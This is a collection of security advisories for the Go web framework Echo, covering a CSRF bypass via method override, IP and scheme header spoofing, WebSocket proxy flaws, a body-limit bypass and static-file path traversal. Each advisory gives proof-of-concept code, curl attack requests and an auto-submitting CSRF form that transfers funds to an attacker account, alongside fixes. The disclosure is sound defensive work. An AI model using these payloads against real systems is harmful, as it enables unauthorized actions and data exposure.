The MethodOverride middleware accepts any non-empty string as the override target method — including safe methods (GET, HEAD, OPTIONS, TRACE) — when rewriting a POST request. When MethodOverride is registered before CSRF in the post-routing middleware chain (e.Use()), it rewrites the request method to a safe method before CSRF evaluates it. The CSRF middleware then skips token validation for the now-safe method, allowing state-changing POST handlers to execute without any CSRF check. Both the legacy token path and the modern Sec-Fetch-Site protection path are bypassed simultaneously.

Affected Component

• middleware/method_override.go — MethodOverrideConfig.ToMiddleware() (lines 55–71): no whitelist on the override target method
• middleware/csrf.go — CSRFConfig.ToMiddleware() (lines 188–189): safe-method bypass branch reads the already-rewritten method
• middleware/csrf.go — checkSecFetchSiteRequest() (line 283): Sec-Fetch-Site safe check also reads the rewritten method

Description

MethodOverride accepts safe methods as override targets

MethodOverrideConfig.ToMiddleware() (method_override.go:55-71) restricts the source method (only POST requests are overrideable) but applies no whitelist to the target:

// method_override.go:61-67
req := c.Request()
if req.Method == http.MethodPost {
    m := config.Getter(c)
    if m != "" {
        req.Method = m   // ← any non-empty string accepted, including "GET"
    }
}

The docstring's security claim — "For security reasons, only POST method can be overridden" — refers only to the source-method restriction. There is no guard preventing POST from being rewritten to GET, HEAD, OPTIONS, or TRACE. The test suite (method_override_test.go) only tests POST→DELETE and POST→PUT; POST→GET is never tested or blocked.

CSRF safe-method branch reads the already-rewritten method

CSRFConfig.ToMiddleware() (csrf.go:188-189) makes its validation decision based on c.Request().Method at the time it runs:

// csrf.go:188-189
switch c.Request().Method {
case http.MethodGet, http.MethodHead, http.MethodOptions, http.MethodTrace:
    // skip validation — no token check
default:
    // validate CSRF token

If MethodOverride has already run and set req.Method = "GET", this switch falls into the skip branch regardless of the original HTTP method or what handler was matched.

The Sec-Fetch-Site-based path in checkSecFetchSiteRequest() (csrf.go:283) is identically vulnerable:

// csrf.go:283
isSafe := slices.Contains(safeMethods, c.Request().Method)

With req.Method = "GET" (already rewritten), isSafe = true and the function returns true — the request is allowed even when Sec-Fetch-Site is cross-site. Both CSRF protection paths are bypassed in a single step.

Execution chain

In echo.go:700, routing and middleware wrapping are performed in one step:

h = applyMiddleware(e.router.Route(c), e.middleware...)

1. e.router.Route(c) evaluates with req.Method = "POST" → matches and binds the POST /transfer handler
2. applyMiddleware wraps it: MethodOverride → CSRF → postHandler

At request execution time: 3. MethodOverride runs: req.Method == "POST" → reads form field _method = "GET" → req.Method = "GET" → calls next 4. CSRF runs: c.Request().Method = "GET" → case http.MethodGet → skips token validation → calls next 5. postHandler runs (the handler matched in step 1 — the original POST /transfer state-change handler)

The state-changing handler executes with no CSRF token validation and with no Sec-Fetch-Site check.

The missing target-method whitelist is the root cause

The legitimate use case for MethodOverride is allowing HTML forms (which only support GET/POST) to send PUT, DELETE, or PATCH requests. There is no legitimate scenario in which an HTML form needs to rewrite POST to GET — that can always be expressed as an ordinary GET request. Allowing POST→GET (and HEAD/OPTIONS/TRACE) serves no valid purpose and is inherently dangerous when any safe-method-aware security middleware (CSRF, logging, audit) appears downstream.

Proof of Concept

package main

import (
    "net/http"
    echo "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    // MethodOverride before CSRF — both in e.Use() (post-routing)
    e.Use(middleware.MethodOverrideWithConfig(middleware.MethodOverrideConfig{
        Getter: middleware.MethodFromForm("_method"),
    }))
    e.Use(middleware.CSRF())
    e.POST("/transfer", func(c *echo.Context) error {
        return c.String(http.StatusOK, "transfer executed")
    })
    e.Logger.Fatal(e.Start(":18080"))
}

# Baseline — CSRF correctly blocks a POST without a valid token
curl -i -X POST 'http://127.0.0.1:18080/transfer' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'amount=100'
# HTTP/1.1 400 Bad Request (missing CSRF token)

# Bypass — _method=GET rewrites method before CSRF runs, skipping token validation
curl -i -X POST 'http://127.0.0.1:18080/transfer' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data '_method=GET&amount=100'
# HTTP/1.1 200 OK
# transfer executed

# Browser-based CSRF PoC (attacker's page, auto-submits on load):
# <form method="POST" action="https://victim.example/transfer" id="f">
#   <input name="_method" value="GET">
#   <input name="amount" value="1000">
#   <input name="to" value="attacker_account">
# </form>
# <script>document.getElementById('f').submit();</script>

The same bypass works with MethodFromHeader (X-HTTP-Method-Override: GET) and MethodFromQuery (?_method=GET).

Impact

• Any state-changing endpoint protected by CSRF() is reachable without a valid CSRF token when the vulnerable middleware ordering is present
• The Sec-Fetch-Site modern-browser CSRF protection is bypassed simultaneously — browsers that support Sec-Fetch-Site provide no additional defense
• Applicable attacks include: fund transfers, password/email changes, account deletion, privilege escalation, data manipulation — any POST-protected operation
• Audit logs may record GET as the HTTP method for what were actually state-changing operations

Recommended Remediation

Option 1: Whitelist only unsafe methods as override targets in MethodOverride (preferred)

The root cause is that MethodOverride accepts safe methods as targets. Restricting the override to legitimately overrideable methods (PUT, PATCH, DELETE) closes the bypass regardless of middleware ordering:

// method_override.go — illustrative fix
var allowedOverrideMethods = map[string]bool{
    http.MethodPut:    true,
    http.MethodPatch:  true,
    http.MethodDelete: true,
}

// in ToMiddleware:
if req.Method == http.MethodPost {
    m := config.Getter(c)
    if m != "" && allowedOverrideMethods[m] {
        req.Method = m
    }
}

Option 2: Use e.Pre() for MethodOverride and document the ordering requirement

Placing MethodOverride in e.Pre() (pre-routing middleware) causes the router to match the overridden method, not the original POST. If only POST /transfer is registered, a POST-to-GET override results in a 405/404 — the handler never executes. Add an explicit documentation warning that MethodOverride must not be placed in e.Use() when CSRF middleware is also registered:

// MethodOverride returns a MethodOverride middleware.
//
// IMPORTANT: Register this middleware with e.Pre(), not e.Use().
// If registered with e.Use() before CSRF middleware, method rewriting
// occurs after route matching but before CSRF validation, allowing
// attackers to bypass CSRF token checks by specifying _method=GET.
func MethodOverride() echo.MiddlewareFunc {

Option 1 is strongly preferred as it closes the vulnerability at the source and is safe regardless of middleware placement.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The MethodOverride middleware no longer overrides a POST to GET, HEAD, OPTIONS, TRACE or CONNECT.

Workarounds

Register MethodOverride with Echo#Pre (as documented), register CSRF before MethodOverride, or use the default header getter (X-HTTP-Method-Override), which a cross-site form cannot set.

Summary

The Echo proxy middleware (middleware/proxy.go) preserves an incoming X-Real-IP header verbatim and forwards it to the upstream service when Echo#IPExtractor is not configured — which is the default. Because any HTTP client can supply an arbitrary X-Real-IP value, an attacker can cause Echo to relay a spoofed client IP address to every upstream service behind the proxy, undermining upstream IP-based access controls, rate limiting, audit logging, and geo-restriction.

Affected Component

• middleware/proxy.go — ProxyConfig.ToMiddleware(), header-rewriting block (lines 351–355)

Description

The header-preservation condition passes spoofed values to upstream

ProxyConfig.ToMiddleware() (proxy.go:338-405) prepares forwarding headers before dispatching each request. The X-Real-IP rewrite logic at lines 351-355 reads:

// proxy.go:351-355
// Basically it's not good practice to unconditionally pass incoming x-real-ip header to upstream.
// However, for backward compatibility, legacy behavior is preserved unless you configure Echo#IPExtractor.
if req.Header.Get(echo.HeaderXRealIP) == "" || c.Echo().IPExtractor != nil {
    req.Header.Set(echo.HeaderXRealIP, c.RealIP())
}

The condition is TRUE (and therefore overwrites the header with a derived value) only when:

• The header is absent — req.Header.Get(echo.HeaderXRealIP) == ""; or
• IPExtractor is explicitly configured — c.Echo().IPExtractor != nil

The condition is FALSE — and the header is left unchanged — when the request arrives with an X-Real-IP header already set and IPExtractor is nil. Because Echo.New() leaves IPExtractor as nil, this is the out-of-the-box behaviour for every application that uses Proxy() or ProxyWithConfig() without extra configuration.

An attacker who sets X-Real-IP to any value causes Echo to forward exactly that value to the upstream, with no modification or validation.

The comment in the source code confirms intent and the security gap

The inline comment at line 351-352 explicitly states:

"Basically it's not good practice to unconditionally pass incoming x-real-ip header to upstream. However, for backward compatibility, legacy behavior is preserved unless you configure Echo#IPExtractor."

The framework is aware that the default is insecure and retains it for backward compatibility. No warning appears in the Proxy() or ProxyWithConfig() documentation, so operators who follow the standard setup example receive a silently insecure proxy configuration.

This is structurally identical to the documented insecurity in ip.go:27:

"Note: if you don't set Echo#IPExtractor explicitly, Echo fallback to legacy behavior, which is not a good choice."

Full execution chain

1. Attacker sends GET /api/admin to the Echo proxy with header X-Real-IP: 203.0.113.1 (a trusted corporate IP)
2. ToMiddleware() evaluates the guard at line 353: header is present (!= ""), IPExtractor is nil → condition is FALSE
3. req.Header.Set is not called; the upstream request carries the original, attacker-supplied X-Real-IP: 203.0.113.1
4. Upstream service checks X-Real-IP against its IP allowlist → finds 203.0.113.1 → grants access
5. Attacker reaches an endpoint that should be restricted to the corporate IP range

Secondary impact path (audit poisoning):

• All upstream log entries, rate-limit counters, and geo-restriction checks are evaluated against 203.0.113.1 rather than the real client IP, rendering audit trails and security analytics unreliable.

Proof of Concept

package main

import (
    "fmt"
    "log"
    "net/http"
    echo "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    // Upstream server: echoes back the X-Real-IP it received
    upstream := http.NewServeMux()
    upstream.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(w, "upstream sees X-Real-IP: %s\n", r.Header.Get("X-Real-IP"))
    })
    go http.ListenAndServe(":9000", upstream)

    // Echo proxy — IPExtractor deliberately NOT set (the default)
    e := echo.New()
    targets := []*middleware.ProxyTarget{{URL: mustParse("http://127.0.0.1:9000")}}
    e.Use(middleware.Proxy(middleware.NewRoundRobinBalancer(targets)))
    log.Fatal(e.Start(":1323"))
}

# Without spoofed header — upstream sees actual peer address
curl http://127.0.0.1:1323/
# upstream sees X-Real-IP: 127.0.0.1

# With spoofed header — upstream sees attacker-supplied value
curl -H 'X-Real-IP: 198.51.100.77' http://127.0.0.1:1323/
# upstream sees X-Real-IP: 198.51.100.77

The attacker-supplied IP 198.51.100.77 arrives at the upstream unchanged.

Impact

• Upstream IP-based access controls (allowlists, blocklists, geo-restrictions) can be bypassed by supplying the expected IP in X-Real-IP
• Upstream rate limiters that key on X-Real-IP are bypassable (same class as the Echo rate-limiter finding, now on every upstream service)
• Audit logs, intrusion detection systems, and SIEM tools that rely on X-Real-IP record the attacker-chosen IP, not the real source — forensic trails are poisoned
• Any upstream admin endpoint restricted by IP allowlist is reachable by any attacker who knows or guesses a trusted IP address

Recommended Remediation

Option 1: Always overwrite X-Real-IP from an authoritative source (preferred)

Remove the conditional that preserves the incoming header. Echo, as the edge proxy, is the only authoritative source for the real client IP:

// proxy.go — always set X-Real-IP from an authoritative source
req.Header.Set(echo.HeaderXRealIP, c.RealIP())

For this to be safe, operators using Proxy() should also configure IPExtractor:

e.IPExtractor = echo.ExtractIPDirect() // no upstream proxy
// or
e.IPExtractor = echo.ExtractIPFromXFFHeader() // behind a trusted upstream LB

Option 2: Document and warn in Proxy() godoc

If backward compatibility must be preserved, add a prominent security warning to Proxy() and ProxyWithConfig():

// Proxy returns a Proxy middleware.
//
// SECURITY: By default, an incoming X-Real-IP header supplied by the client
// is forwarded to the upstream unchanged. This allows any client to spoof its
// IP identity to upstream services. Configure Echo#IPExtractor before using
// this middleware to ensure X-Real-IP is derived from a trusted source:
//
//   e.IPExtractor = echo.ExtractIPDirect()
//
// See https://echo.labstack.com/guide/ip-address for details.
func Proxy(balancer ProxyBalancer) echo.MiddlewareFunc {

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0: the Proxy middleware always sets X-Real-IP from Context.RealIP(), which is the address of the direct peer unless Echo#IPExtractor is configured.

github.com/labstack/echo/v4 is not changed, because v4's Context.RealIP() without Echo#IPExtractor trusts X-Forwarded-For and X-Real-IP by design, and changing that default would merge all clients behind a proxy into one rate-limit bucket.

Workarounds

Configure Echo#IPExtractor for your deployment, for example e.IPExtractor = echo.ExtractIPDirect() when there is no proxy in front of the application, or echo.ExtractIPFromXFFHeader() / echo.ExtractIPFromRealIPHeader() (with TrustIPRange for proxies on public addresses). With an extractor set, the Proxy middleware overwrites X-Real-IP in v4 too.

Impact

In Echo v5, ExtractIPFromRealIPHeader checked whether the address supplied in X-Real-IP belonged to a trusted range instead of checking the address of the direct network peer. An untrusted client could therefore supply a loopback or private address and have it returned by c.RealIP() with the extractor's default trust options.

Applications using this extractor for IP allowlists, IP-based rate limiting, audit logs or forwarding headers could accept a spoofed client identity. Exploitation requires that the attacker can reach Echo directly or that an intervening proxy passes through the attacker's X-Real-IP value. Applications using the default direct IP extractor are unaffected. Echo v4 is unaffected by this v5 regression.

Affected versions and patch

All v5 releases from v5.0.0 through v5.4.0 are affected. Upgrade to v5.4.1.

The patch validates the direct peer before accepting a syntactically valid X-Real-IP value, restoring the v4 trust model. Fix commit.

Workarounds

Use ExtractIPDirect until upgrading, or ensure that only trusted proxies can reach Echo and that they replace client-supplied forwarding headers. Configure trusted proxy ranges narrowly for the deployment.

Credits

Reported and patched by @rm-Umar. @Duodum independently reported the same issue in GHSA-c3r7-8j36-7mx8, which is tracked as a duplicate of this advisory.

Impact

Echo's Proxy middleware could retain a handler, copy goroutines and network connections after a WebSocket client disconnected if the upstream kept its connection open. The raw proxy waited for both copy directions to finish without reliably closing the other connection when one direction ended. Rejected upgrade responses with HTTP keep-alive were one way to trigger this behavior.

Repeated connections can accumulate resources and cause denial of service. The impact depends on the proxy route's accessibility, upstream behavior and configured connection deadlines. This is a medium-severity resource-retention issue; no confidentiality or integrity impact is claimed.

Affected versions and patch

Affected versions are v4.15.0 through v4.16.0 and v5.0.0 through v5.4.0. The regression was introduced by commit e2133320c7, merged in #2852.

Upgrade to v4.16.1 or v5.4.1. The patch uses Go's HTTP reverse proxy, preserves ordinary HTTP handling for rejected upgrades, and closes both sides of a WebSocket tunnel when either direction ends. It also covers an upstream that receives client EOF but deliberately keeps its side open.

Fix commits: v4, v5.

Workarounds

Disable WebSocket proxy routes until upgrading, or apply bounded connection lifetimes and resource limits at the frontend and upstream. Server idle timeouts alone may not cover hijacked WebSocket connections.

Credits

Reported by @irisitymichaelgrundberg.

Impact

Echo's Proxy middleware selected a raw tunnel when the client requested a WebSocket upgrade, before validating whether the configured upstream accepted it. If the upstream returned an ordinary HTTP response and kept the connection alive, subsequent HTTP requests on that connection were forwarded directly to the same upstream without passing through Echo's router or route-specific middleware.

This can bypass authentication or authorization enforced only at Echo's routes. Exploitation requires an accessible proxy route, an upstream that rejects the upgrade without closing the connection, and a target resource on that upstream without independent authorization. The issue does not provide arbitrary-host proxying or bypass the upstream's own authentication.

Affected versions and patch

The raw proxy implementation is present throughout the v4 and v5 release lines up to v4.16.0 and v5.4.0. Runtime reproductions confirmed v4.15.0, v4.16.0, v5.0.0 and v5.4.0; source history also shows the missing upgrade-response validation in v4.0.0.

Upgrade to v4.16.1 or v5.4.1. The patch routes WebSocket upgrades through Go's HTTP reverse proxy and enters a tunnel only after a valid upstream upgrade response. Rejected upgrades remain ordinary HTTP requests.

Fix commits: v4, v5.

Workarounds

Reject WebSocket upgrade requests before they reach affected Echo proxy routes, or enforce authorization independently at every upstream resource. Merely returning a non-101 response from the upstream does not prevent the vulnerable raw tunnel.

Credits

Reported by @Duodum.

Impact

Echo v5's BodyDump middleware captured a bounded prefix, drained the remaining request body while ignoring read errors, and then replaced the body with the captured prefix. With an outer BodyLimit, an unknown-length request such as an HTTP/1.1 chunked request, and a BodyDump capture limit below the BodyLimit threshold, an overflow detected during that drain could be discarded.

The handler could consequently process a truncated request and return success even though the original body exceeded the configured limit. This is a conditional size-policy bypass; no general authentication bypass, production data modification or denial of service is claimed. Known-length requests rejected before BodyDump runs are unaffected by this path.

Affected versions and patch

All v5 releases from v5.0.0 through v5.4.0 contain the affected drain-and-replace logic. Runtime reproduction confirmed v5.4.0; source comparison confirms the same request handling in v5.0.0.

Upgrade to v5.4.1. BodyDump now captures only the configured prefix for logging and reconstructs the handler's reader from that prefix plus the unread original stream. It preserves the original closer and read errors instead of silently draining the rest. Fix commit.

Streaming BodyLimit enforcement still requires the application to consume the request body and handle read errors. The BodyDump capture cap is a logging cap, not an application body limit.

Workarounds

Disable BodyDump on affected routes, or ensure the BodyLimit overflow is detected during the initial capture by setting the capture limit above the enforced body limit. Upgrading is recommended because it also preserves the complete body for handlers.

Credits

Reported by @Duodum. The fix incorporates @jakezwang's request-body preservation work in #3105.

Description

Context.Scheme() unconditionally trusts four client-controlled HTTP headers to determine the request scheme, with no mechanism to configure trusted sources. This allows a remote unauthenticated attacker to bypass HTTPS redirect enforcement and suppress HSTS headers.

The trusted headers (checked in this order of precedence):

1. X-Forwarded-Proto
2. X-Forwarded-Protocol
3. X-Forwarded-Ssl
4. X-Url-Scheme

Threat model

Scenario A — Directly exposed application (vulnerable by default): The Echo application listens on HTTP and is reachable directly by clients (no L7 proxy in front), or an attacker can bypass the proxy and reach the backend directly. In this case, the attacker has full control over all request headers. Sending X-Forwarded-Proto: https defeats the HTTPSRedirect middleware entirely — traffic stays on plaintext HTTP, enabling man-in-the-middle attacks.

This is the primary scenario. The application is vulnerable by default with no misconfiguration required — simply using e.Pre(middleware.HTTPSRedirect()) as documented is sufficient.

Scenario B — Behind L7 proxy with header sanitization (reduced risk): If the application is strictly behind a correctly configured L7 proxy that always overwrites X-Forwarded-Proto and there is no direct access to the backend, the practical risk is lower. However, this relies on perimeter controls external to the framework, not on the framework itself. As Echo's own IP-extraction documentation states: "you must not trust HTTP headers unconditionally."

Root cause

context.go, lines 161–181:

func (c *Context) Scheme() string {
    if c.IsTLS() {
        return "https"
    }
    if scheme := c.request.Header.Get(HeaderXForwardedProto); scheme != "" {
        return scheme
    }
    if scheme := c.request.Header.Get(HeaderXForwardedProtocol); scheme != "" {
        return scheme
    }
    if ssl := c.request.Header.Get(HeaderXForwardedSsl); ssl == "on" {
        return "https"
    }
    if scheme := c.request.Header.Get(HeaderXUrlScheme); scheme != "" {
        return scheme
    }
    return "http"
}

Two additional issues with this implementation:

1. No value validation. Scheme() returns any arbitrary string from the header, not just "http" or "https". This breaks the documented contract ("returns the HTTP protocol scheme, http or https") and causes unexpected behavior in middleware that uses the return value to construct URLs (e.g., WWWRedirect builds scheme + "://www." + host + uri).

2. Consumed by security-critical middleware. The return value is used directly by redirect middleware (middleware/redirect.go:136) and secure middleware (middleware/secure.go:125) for security enforcement decisions.

Affected components

| Component | File | Line(s) | Impact | |-----------|------|---------|--------| | Context.Scheme() | context.go | 161–181 | Returns attacker-controlled scheme | | HTTPSRedirect | middleware/redirect.go | 147–151 | HTTPS enforcement bypassed | | HTTPSWWWRedirect | middleware/redirect.go | 154–161 | HTTPS enforcement bypassed | | HTTPSNonWWWRedirect | middleware/redirect.go | 163–170 | HTTPS enforcement bypassed | | WWWRedirect | middleware/redirect.go | 172–177 | URL constructed with arbitrary scheme | | NonWWWRedirect | middleware/redirect.go | 179–184 | URL constructed with arbitrary scheme | | Secure middleware (HSTS) | middleware/secure.go | 125 | HSTS header suppressed |

This is an unsafe-by-default API surface, not just misconfiguration

This behavior is not accidental — it is codified in the project's own test suite. For example, middleware/redirect_test.go (lines 29–34) explicitly asserts that X-Forwarded-Proto: https on an HTTP request results in 200 OK (no redirect):

{
    whenHost:         "labstack.com",
    whenHeader:       map[string][]string{echo.HeaderXForwardedProto: {"https"}},
    expectLocation:   "",
    expectStatusCode: http.StatusOK,
},

Similarly, middleware/secure_test.go (lines 42–53) and context_test.go (lines 1104–1111) assert that scheme is derived from the header.

The problem is not that the framework can use forwarded headers — that is legitimate behind a trusted proxy. The problem is that there is no mechanism to control whether this trust is appropriate, unlike the existing IP header trust model. Scheme() always trusts the headers, making any middleware that depends on it unsafe-by-default.

Inconsistency with existing trust model

Echo already recognizes this class of header-trust vulnerability for IP addresses. The IPExtractor mechanism with TrustOption (TrustLoopback, TrustPrivateNet, TrustLinkLocal, TrustIPRange) was introduced specifically because:

"you must not trust HTTP headers unconditionally. Otherwise, you might give someone a chance of deceiving you. A security risk!" — ip.go, lines 20–21

"If you put no proxy (e.g., directly facing the internet), all you need to (and have to) see is IP address from network layer. Any HTTP header is untrustable because the clients have full control what headers to be set." — ip.go, lines 36–38

No equivalent mechanism exists for scheme detection. Scheme() unconditionally trusts all four forwarded headers with no configuration, opt-in, or documentation warning.

Note on proxies and the "3 additional headers"

A correctly configured nginx proxy_set_header X-Forwarded-Proto $scheme; overwrites X-Forwarded-Proto with the actual incoming scheme. When a proxy does this, X-Forwarded-Proto is trustworthy and the three fallback headers (X-Forwarded-Protocol, X-Forwarded-Ssl, X-Url-Scheme) are never reached because X-Forwarded-Proto takes precedence in Scheme().

The three additional headers become real attack vectors specifically when:

• The proxy does not set X-Forwarded-Proto at all (common in default proxy configs), or
• The application is directly exposed (Scenario A above).

In such cases, an attacker can bypass via any of the four headers. The main vulnerability (HTTPS redirect bypass via X-Forwarded-Proto on a directly exposed app) does not depend on the additional headers.

Impact

HTTPS downgrade / MITM: An attacker who can reach the Echo HTTP endpoint directly can prevent HTTPS redirection, keeping client traffic on plaintext HTTP and enabling man-in-the-middle attacks.

HSTS suppression: Behind a TLS-terminating proxy, spoofing X-Forwarded-Proto: http prevents the Strict-Transport-Security header from being sent. When the response ultimately reaches the client over HTTPS (via the proxy), the missing HSTS header weakens browser-side HTTPS enforcement. Note: browsers ignore HSTS received over plain HTTP, so the practical risk is specifically in the suppression scenario behind a TLS-terminating proxy, not in injecting HSTS on HTTP.

URL construction with arbitrary scheme: WWWRedirect and NonWWWRedirect use c.Scheme() to build redirect URLs (scheme + "://www." + host + uri). An attacker can inject arbitrary strings (e.g., javascript:, data:) as the scheme component of redirect URLs.

Proof of Concept

Tested on Echo v5.0.4 (commit fa5311b, 2026-02-15).

PoC 1: HTTPS Redirect Bypass (Go test)

package echo_test

import (
    "net/http"
    "net/http/httptest"
    "testing"

    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func TestHTTPSRedirectBypass(t *testing.T) {
    e := echo.New()
    e.Pre(middleware.HTTPSRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "served over: "+c.Scheme())
    })

    // Normal HTTP → should redirect
    req := httptest.NewRequest(http.MethodGet, "/", nil)
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)
    if rec.Code != http.StatusMovedPermanently {
        t.Fatalf("expected 301, got %d", rec.Code)
    }
    t.Logf("Normal HTTP → %d (redirect to %s)", rec.Code, rec.Header().Get("Location"))

    // Attack: all 4 headers bypass the redirect
    headers := map[string]string{
        "X-Forwarded-Proto":    "https",
        "X-Forwarded-Protocol": "https",
        "X-Forwarded-Ssl":      "on",
        "X-Url-Scheme":         "https",
    }
    for name, value := range headers {
        req := httptest.NewRequest(http.MethodGet, "/", nil)
        req.Header.Set(name, value)
        rec := httptest.NewRecorder()
        e.ServeHTTP(rec, req)
        if rec.Code == http.StatusOK {
            t.Errorf("BYPASS via %s: %s → %d (no redirect!)", name, value, rec.Code)
        }
    }
}

PoC 2: curl examples (easiest to reproduce)

Start a minimal Echo server:

package main

import (
    "net/http"
    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    e.Pre(middleware.HTTPSRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "Hello on "+c.Scheme())
    })
    e.Start(":8080")
}

Then:

# Normal HTTP → 301 redirect (expected)
$ curl -I http://localhost:8080/
HTTP/1.1 301 Moved Permanently
Location: https://localhost:8080/

# Attack: bypass via X-Forwarded-Proto
$ curl -H "X-Forwarded-Proto: https" http://localhost:8080/
Hello on https

# Attack: bypass via X-Forwarded-Protocol
$ curl -H "X-Forwarded-Protocol: https" http://localhost:8080/
Hello on https

# Attack: bypass via X-Forwarded-Ssl
$ curl -H "X-Forwarded-Ssl: on" http://localhost:8080/
Hello on https

# Attack: bypass via X-Url-Scheme
$ curl -H "X-Url-Scheme: https" http://localhost:8080/
Hello on https

PoC 3: Arbitrary scheme in redirect URL (WWWRedirect)

func TestArbitrarySchemeInRedirect(t *testing.T) {
    e := echo.New()
    e.Pre(middleware.WWWRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "ok")
    })

    req := httptest.NewRequest(http.MethodGet, "/", nil)
    req.Host = "example.com"
    req.Header.Set("X-Forwarded-Proto", "javascript")
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)

    // Redirect Location uses the spoofed scheme
    loc := rec.Header().Get("Location")
    // loc == "javascript://www.example.com/" — violates http/https contract
    t.Logf("Status: %d, Location: %s", rec.Code, loc)
}

PoC 4: HSTS Suppression

func TestHSTSSuppression(t *testing.T) {
    e := echo.New()
    e.Use(middleware.SecureWithConfig(middleware.SecureConfig{HSTSMaxAge: 31536000}))
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "ok")
    })

    // Legitimate: proxied HTTPS should have HSTS
    req := httptest.NewRequest(http.MethodGet, "/", nil)
    req.Header.Set("X-Forwarded-Proto", "https")
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)
    if h := rec.Header().Get("Strict-Transport-Security"); h == "" {
        t.Fatal("HSTS missing when it should be present")
    }

    // Attack: suppress HSTS by spoofing "http"
    // In production: app behind TLS-terminating proxy, proxy delivers response
    // to client over HTTPS, but HSTS header is absent due to spoofed header
    req2 := httptest.NewRequest(http.MethodGet, "/", nil)
    req2.Header.Set("X-Forwarded-Proto", "http")
    rec2 := httptest.NewRecorder()
    e.ServeHTTP(rec2, req2)
    if h := rec2.Header().Get("Strict-Transport-Security"); h == "" {
        t.Error("VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http")
    }
}

Test output (all attacks succeed)

=== RUN   TestHTTPSRedirectBypass
    Normal HTTP → 301 (redirect to https://example.com/)
    BYPASS via X-Forwarded-Proto: https → 200 (no redirect!)
    BYPASS via X-Forwarded-Protocol: https → 200 (no redirect!)
    BYPASS via X-Forwarded-Ssl: on → 200 (no redirect!)
    BYPASS via X-Url-Scheme: https → 200 (no redirect!)

=== RUN   TestArbitrarySchemeInRedirect
    Status: 301, Location: javascript://www.example.com/

=== RUN   TestHSTSSuppression
    VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http

Precedent CVEs

• CVE-2018-1193 — Cloud Foundry GoRouter: unverified X-Forwarded-Proto header trusted for scheme, enabling HTTPS enforcement bypass. Fixed by adding sanitize_forwarded_proto option.
• CVE-2025-41235 — Spring Cloud Gateway: trusting forwarded headers without explicit proxy configuration, enabling HTTPS redirect bypass. Fixed by requiring trusted proxy configuration.

Suggested fix

Option A: SchemeExtractor (recommended, backward-compatible with opt-in)

Add a SchemeExtractor mechanism analogous to the existing IPExtractor, where the extractor decides whether to trust forwarded headers based on RemoteAddr or trusted proxy ranges:

type SchemeExtractor func(req *http.Request) string

// ExtractSchemeDirect ignores all forwarded headers (secure default)
func ExtractSchemeDirect() SchemeExtractor { ... }

// ExtractSchemeFromXFFHeader trusts X-Forwarded-Proto from trusted sources
func ExtractSchemeFromXFFHeader(options ...TrustOption) SchemeExtractor { ... }

Usage:

// Secure: directly exposed, ignore headers
e.SchemeExtractor = echo.ExtractSchemeDirect()

// Behind trusted proxy
e.SchemeExtractor = echo.ExtractSchemeFromXFFHeader(
    echo.TrustIPRange(proxySubnet),
)

The default should be secure. For backward compatibility, a migration period with deprecation warnings for the legacy behavior may be appropriate.

Option B: Minimal hardening (does NOT fix the bypass, but fixes the contract violation)

Scheme() should validate that the returned value is "http" or "https", rejecting arbitrary strings. This prevents the "arbitrary scheme in redirect URL" issue but does not address the core HTTPS redirect bypass (because "https" is a valid value that the attacker injects).

Both options should be applied together.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.Scheme() now uses the X-Forwarded-Proto, X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme headers only when the request comes directly from a loopback, link-local or private network address or a unix socket. When X-Forwarded-Proto is present, only its last value is used. The new Echo#SchemeExtractor selects the strategy (ExtractSchemeFromHeaders, ExtractSchemeDirect, LegacySchemeExtractor). The Secure middleware sets HSTS from Context.Scheme(), and the Proxy middleware always sets X-Forwarded-Proto and removes the other scheme headers.

Workarounds

If a proxy or load balancer connects to your application from a public address, trust its address ranges after upgrading, for example e.SchemeExtractor = echo.ExtractSchemeFromHeaders(echo.TrustIPRange(proxyRange)); otherwise HTTPSRedirect redirects in a loop. If you cannot upgrade, make sure every request passes through a proxy that overwrites X-Forwarded-Proto and removes X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme, and that the application cannot be reached directly.

Summary

Echo v5.2.0 contains a bypass of the fix for GHSA-vfp3-v2gw-7wfq. The fix rejects encoded path separators such as %2F and %5C before static file path unescaping, but two traversal forms still bypass route-level middleware protections for static files.

The primary bypass uses encoded dot-dot segments. A request such as /public/%2E%2E/admin/secret.txt passes the encoded-separator guard, is unescaped to public/../admin/secret.txt, then path.Clean resolves it to admin/secret.txt. If /admin/* is protected by middleware but the static filesystem is mounted at /, the protected file is returned through the public static route.

A second bypass exists when UseEscapedPathForMatching=true. In that mode, the router normalizes encoded separators before the static handler checks the wildcard. The handler receives a decoded wildcard with no % characters, so the encoded-separator guard does not run on the original encoded path.

Impact

An unauthenticated attacker can read files that an application intended to protect with route-level middleware, when those files are also reachable through a static filesystem mount after path normalization.

The high-severity variant works with the default router configuration and requires only encoded dot-dot path segments. The direct protected route returns 403, while the public static route returns the protected file content.

The UseEscapedPathForMatching=true variant is lower severity because it requires a non-default router configuration.

Affected versions

Tested vulnerable:

• github.com/labstack/echo/v5 v5.2.0
• Current master at 5786024ea4d85c01784796e8aa7aac53e007b39b

No patched version is currently known.

